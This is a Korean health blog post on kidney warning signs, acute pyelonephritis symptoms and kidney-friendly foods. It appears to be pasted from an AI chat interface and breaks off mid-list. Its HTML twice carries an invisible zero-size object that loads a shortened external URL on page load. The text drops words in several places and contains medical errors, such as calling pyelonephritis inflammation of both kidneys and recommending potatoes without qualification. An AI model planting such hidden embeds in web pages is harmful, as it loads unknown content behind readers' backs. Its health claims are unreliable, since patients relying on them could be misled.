신장 '콩팥' 이상 증상 ＜급성 신우신염 증상＞ 신장에 좋은 음식 vs 나쁜 음식

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">신장 건강 지키는 식습관: 콩팥에 좋은 음식 vs 나쁜 음식</h2>1. 콩팥 이상 콩팥은 우리 몸의 노폐물을 걸러내고, 혈액의 수분과 전해질 균형을 유지하는 중요한 역할을 하는 기관입니다. 콩팥 기능이 저하되면 피로, 붓기, 식욕 감퇴, 구토, 호흡곤란 등의 이 나타날 수 있으며, 심하면 삶을 위협할 수 있는 만성 신부전으로 이어질 수도 있습니다.콩팥 이상의 주요 :<ul data-sourcepos="9:1-18:0"> <li data-sourcepos="9:1-9:59">피로: 콩팥 기능이 저하되면 혈액에서 노폐물을 제대로 걸러내지 못해 피로감을 느낄 수 있습니다.</li> <li data-sourcepos="10:1-10:73">붓기: 콩팥 기능이 저하되면 체내 수분과 나트륨 균형을 유지하지 못해 다리, 발, 얼굴 등에 붓기가 나타날 수 있습니다.</li> <li data-sourcepos="11:1-11:59">식욕 감퇴: 콩팥 기능이 저하되면 메스꺼움, 구토, 식욕 감퇴 등의 이 나타날 수 있습니다.</li> <li data-sourcepos="12:1-12:59">호흡곤란: 콩팥 기능이 저하되면 폐에 충분한 산소가 공급되지 않아 호흡곤란을 느낄 수 있습니다.</li> <li data-sourcepos="13:1-13:79">소변 변화: 소변의 색깔, 양, 빈도가 변화할 수 있습니다. 예를 들어, 혈뇨, 소변량 감소, 야뇨 증가 등이 나타날 수 있습니다.</li> <li data-sourcepos="14:1-14:50">피부 건조 가려움: 콩팥 기능이 저하되면 피부가 건조하고 가려워질 수 있습니다.</li> <li data-sourcepos="15:1-15:61">근육 경련: 콩앗 기능이 저하되면 혈액에서 전해질 균형이 어그러져 근육 경련이 나타날 수 있습니다.</li> <li data-sourcepos="16:1-16:54">집중력 저하: 뇌에 충분한 산소와 영양분이 공급되지 않아 집중력이 저하될 수 있습니다.</li> <li data-sourcepos="17:1-18:0">불면증: 콩팥 기능이 저하되면 불면증을 앓을 수 있습니다.</li> </ul>2. 급성 신우신염 급성 신우신염은 양쪽 콩팥에 급격한 염증이 생기는 입니다. 급성 신우신염의 주요 은 다음과 같습니다.<ul data-sourcepos="23:1-30:0"> <li data-sourcepos="23:1-23:94">허리 통증: 급성 신우신염의 가장 흔한 은 옆구리 또는 허리 통증입니다. 통증은 한쪽 또는 양쪽에 나타날 수 있으며, 심한 경우 발까지 퍼질 수 있습니다.</li> <li data-sourcepos="24:1-24:34">발열: 급성 신우신염은 발열을 동반할 수 있습니다.</li> <li data-sourcepos="25:1-25:46">메스꺼움과 구토: 급성 신우신염은 메스꺼움과 구토를 유발할 수 있습니다.</li> <li data-sourcepos="26:1-26:40">식욕 감퇴: 급성 신우신염은 식욕 감퇴를 유발할 수 있습니다.</li> <li data-sourcepos="27:1-27:79">소변 변화: 소변의 색깔, 양, 빈도가 변화할 수 있습니다. 예를 들어, 혈뇨, 소변량 감소, 야뇨 증가 등이 나타날 수 있습니다.</li> <li data-sourcepos="28:1-28:35">피로: 급성 신우신염은 피로감을 유발할 수 있습니다.</li> <li data-sourcepos="29:1-30:0">부종: 급성 신우신염은 다리, 발, 얼굴 등에 붓기를 유발할 수 있습니다.</li> </ul>3. 신장에 좋은 음식콩팥 건강을 유지하기 위해서는 적절한 식단 관리가 중요합니다. 콩팥에 좋은 음식은 다음과 같습니다.<ul data-sourcepos="35:1-37:54"> <li data-sourcepos="35:1-35:94">과일과 채소: 과일과 채소는 비타민, 미네랄, 식이섬유가 풍부하여 콩팥 건강에 좋습니다. 특히, 블루베리, 크랜베리, 양배추, 브로콜리, 감자 등이 좋습니다.</li> <li data-sourcepos="36:1-36:71">생선: 생선은 오메가-3 지방산이 풍부하여 콩팥 건강에 좋습니다. 특히, 연어, 참치, 정어리, 꽁치 등이 좋습니다.</li> <li data-sourcepos="37:1-37:54">저지방 유제품: 저지방 유제품은 칼슘과 단백질이 풍부하여 콩팥 건강에 좋습니다. 하지만</li> </ul></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; 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